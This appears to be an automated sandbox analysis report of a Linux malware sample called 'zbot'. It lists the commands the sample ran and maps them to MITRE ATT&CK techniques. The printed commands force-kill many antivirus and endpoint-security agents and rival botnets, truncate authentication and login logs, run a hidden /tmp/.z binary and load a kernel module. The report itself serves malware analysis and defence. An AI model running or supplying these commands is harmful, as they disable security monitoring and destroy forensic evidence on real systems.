/usr/bin/pkillpkill -9 -x avpm.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp9.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp10.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp11.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp12.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp13.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp14.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp15.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp16.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp17.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp18.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp19.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp20.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp21.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp22.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp23.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp24.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp25.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp26.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp27.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp28.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp29.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp30.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp31.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp32.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp33.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp34.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp35.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp36.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp37.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp38.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp39.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp40.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp41.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp42.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp43.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp44.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp45.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp46.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp47.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp48.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp49.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp50.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[f]alcond"1⤵
-
/usr/bin/pkillpkill -9 -f "[f]alcon"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[c]sagent"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[c]rowdstrike"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]entinelagent"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]entinelhelper"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]1-agent"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]1-service"1⤵
-
/usr/bin/pkillpkill -9 -f "[x]agt"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]bdefense"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]bagent"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[c]arbonblack"1⤵
-
/usr/bin/pkillpkill -9 -f "[r]epwel"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]ylance"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]vcdiva"1⤵
-
/usr/bin/pkillpkill -9 -f "[m]datp"1⤵
-
/usr/bin/pkillpkill -9 -f "[m]dallaips"1⤵
- System Network Configuration Discovery
-
/usr/bin/pkillpkill -9 -f "[s]ensedata"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]ophos"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]avscanner"1⤵
-
/usr/bin/pkillpkill -9 -f "[r]tvscan"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]ymantec"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[S]ymAux"1⤵
-
/usr/bin/pkillpkill -9 -f "[t]rendmicro"1⤵
-
/usr/bin/pkillpkill -9 -f "[d]s_agent"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[e]dragent"1⤵
-
/usr/bin/pkillpkill -9 -f "[o]squeryd"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]ysmon"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]lamd"1⤵
-
/usr/bin/pkillpkill -9 -f "[k]lscan"1⤵
-
/usr/bin/pkillpkill -9 -f "[k]avfs"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]noop"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[a]ccton"1⤵
-
/usr/bin/pkillpkill -9 "[a]uditd"1⤵
-
/usr/bin/truncatetruncate -s 0 "/var/log/auth*" /var/log/secure /var/log/wtmp /var/log/lastlog1⤵
- Deletes log files
-
/usr/bin/pkillpkill -9 -x mirai1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x mirai.arm1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x mirai.mips1⤵
- System Network Configuration Discovery
-
/usr/bin/pkillpkill -9 -x mirai.mpsel1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x gafgyt1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x bashlite1⤵
-
/usr/bin/pkillpkill -9 -x tsunami1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x hakai1⤵
-
/usr/bin/pkillpkill -9 -x sora1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x qbot1⤵
-
/usr/bin/pkillpkill -9 -x astaroth1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x ozyman1⤵
-
/usr/bin/pkillpkill -9 -x nihappy1⤵
- Reads runtime system information
-
/tmp/.z/tmp/.z1⤵
-
/tmp/.z/tmp/.z1⤵
-
/usr/sbin/modprobemodprobe zbot1⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
2At
1Cron
1Privilege Escalation
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
2At
1Cron
1Defense Evasion
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Indicator Removal
1Clear Linux or Mac System Logs
1Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
Loading Replay Monitor...
Downloads
zbot
tmp.bjEJOo
zbot